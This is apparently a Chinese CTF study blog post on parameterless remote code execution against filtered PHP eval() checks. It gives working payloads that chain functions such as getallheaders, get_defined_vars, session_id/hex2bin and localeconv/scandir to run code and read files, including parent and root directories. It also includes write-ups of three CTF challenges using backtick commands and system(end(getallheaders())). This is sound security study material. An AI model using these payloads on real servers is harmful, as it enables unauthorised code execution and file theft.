6.24ctf+无参数rce
无参数rce
什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
一般代码是长这么样的
1 |
|
(?R)?
是一个递归的子模式。它表示在括号内可以包含另一个完整的模式,从而允许嵌套的函数调用。也就是说,如果在括号内存在类似 func(a(b))
的形式,它会继续递归匹配。
^
符号表示取反操作。\w
表示表示匹配任何非字母、非数字和非下划线字符。,而 [^...]
表示匹配除了括号内字符之外的任何字符。因此,[^\W]
实际上是匹配除了字母、数字和下划线之外的字符。
(?R)?
能匹配的只有a(); a(b()); a(b(c()));
这种类型的。比如传入a(b(c()));
,第一次匹配后,就剩a(b());
,第二次匹配后,a();
,第三次匹配后就只剩下;
了,最后a(b(c()));
就会被eval执行。
ps:感觉这种题纯拷打代码量了
使用的函数
1 | getchwd() 函数返回当前工作目录。 |
常见命令执行rce
- getallheaders()&apache_request_headers()
getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
implode()
能够直接将getallheaders()
返回的数组转化为字符串。
本地测试代码:
1 |
|
可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
创一个本地文件测试一下
1 |
|
这里要eval的原因是要把返回的字符串当代码执行了
- get_defined_vars()&getenv()
该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode
结合起来用。将get_defined_vars()
的结果用var_dump()
输出结果如下
1 |
|
可以看到用GET传入的参数会被显示在数组中的第一位:
不过这里有这么多的数组,我们也不需要全部查看是吧?那么使用current()
函数就可以办成这个事情:
函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组(也就是上图array(7)中的第一个数组[“_GET”]=> array(1) { [“get”]=> string(1) “a” }),所以我们可以通过这个函数将其取出来
1 |
|
从图中能看出后面传入的shell=phpinfo();
出现在了第一个数组的最后。
回忆一下之前的payload:?exp=eval(implode(getallheaders()));,设想下:current()是取出二维数组中的第一个(指针指向的那个)一维数组,用end()就可以取出这个一维数组中的最后那个值,加上之前的payload你能想到什么?
新payload:?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个payload的话就可以执行shell的命令了
- session_id()
官方说:session_id()
可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid
了,并且这个值我们是可控的。
但其有限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)
传不了括号he引号怎么办
解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了
所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex(“phpinfo();”)=706870696e666f28293b
读文件rce
查看当前目录文件名
正常的,print_r(scandir(‘.’));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢
- localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是”.”(后续出现的.都用双引号包裹,方便识别)
怎么提取点呢
利用current,current(localeconv()) 就能获取点
print_r(scandir(current(localeconv()))); 就能打印出当前目录下文件:
或者print_r(scandir(pos(localeconv())));
如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
再不行就只有靠运气了
chr(46)就是字符”.”要构造46,有几个方法:
1 | chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"." |
- phpversion()
phpversion()
返回php版本,如7.3.5
floor(phpversion())
返回7
sqrt(floor(phpversion()))
返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))
返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))
返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))
返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
扫描当前目录next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))
返回..
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));来扫目录
同理:strrev(crypt(serialize(array())))也可以得到”.”,只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符
获取绝对路径可用的有getcwd()和realpath(‘.’)
所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名
读取当前目录文件
通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:
前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:
show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)
通过array_reverse() 以相反的元素顺序返回数组
show_source(current(array_reverse(scandir(getcwd()))));
如果是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组的键名
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录名
dirname() :返回路径中的目录部分,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
- dirname()方法
1 | print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 |
- 构造”..”
1 | next(scandir(getcwd()));//我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取 |
读取上级目录文件
chdir() :改变当前工作目录
直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录
所以使用chdir()
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))//即可改变当前目录为上一层目录并读取文件: |
如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:
但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))
1 | show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); |
还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数)
1 | if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd())))); |
查看和读取根目录文件
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件
同样的:
1 | if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); |
1 | if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); |
[UUCTF 2022 新生赛]ez_rce
1 |
|
题目给了源码,能代码执行eval,但是过滤了很多函数,命令执行函数system,passthru,
可以用其他函数命令执行,比如exec,反引号,其他在命令执行里面过滤了很多东西,一些简单的指令和一些字符 $,*, . ,+,^,
尝试了exec发现不应,应该是被禁用了
那就用反引号,printf(`dir`); 发现成功,最后按照正常方法做就行了
1 | printf(`ca''t /fffffffffflagafag`)就行了 这道题可以靠更难点 |
[GXYCTF2019]禁止套娃
git泄露读出源码
1 |
|
这题过滤了et|na|info|dec|bin|hex|oct|pi|log/i,那其实很简单,都可以命令执行了,过滤了getallheaders(),phpinfo(),get_defined_vars(),getenv(),hex2bin(),
getcwd()
已经include flag.php了那就读这个文件,session_id()没过滤,可以命令执行,读文件都可以读
因为session_id,没有被禁但是hex被禁了 正常情况下phpssionid其他特殊字符又只能读取 -和逗号 所以要么用其他函数转化但是这里又相当于过滤5了bindec(),otcdec()
decbin()所以走不通
那就只有读文件了,因为在当前目录所以
exp=print_r(scandir(current(localeconv())));
发现文件在倒数第二个位置
show_source(next(array_reverse(scandir(current(localeconv()))))就行了
极客大挑战 2020 rceme
f12源码给了提示swp泄露了
1 |
|
第一个要步就是要绕过
1 | substr(md5($_POST['code']),0,5) !== $_SESSION['code'] |
这个code不知道是多少啊o(╥﹏╥)o找了半天发现在输入命令的下面
通过脚本就能跑过
1 | import hashlib |
然后第二层
1 | if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)) |
限制了长度,限制了不能输入字母数字和一些特殊字符,想到无字符rce,这里相当
与过滤了自增,异或,但是还有取反,又只有跑脚本了
第三层
需要无参数rce了,o(╥﹏╥)o
1 | def one(s): |
最后构造执行命令的方法就行了var_dump(system(end(getallheaders())))
ε=(´ο`*)))唉
用其他的没回显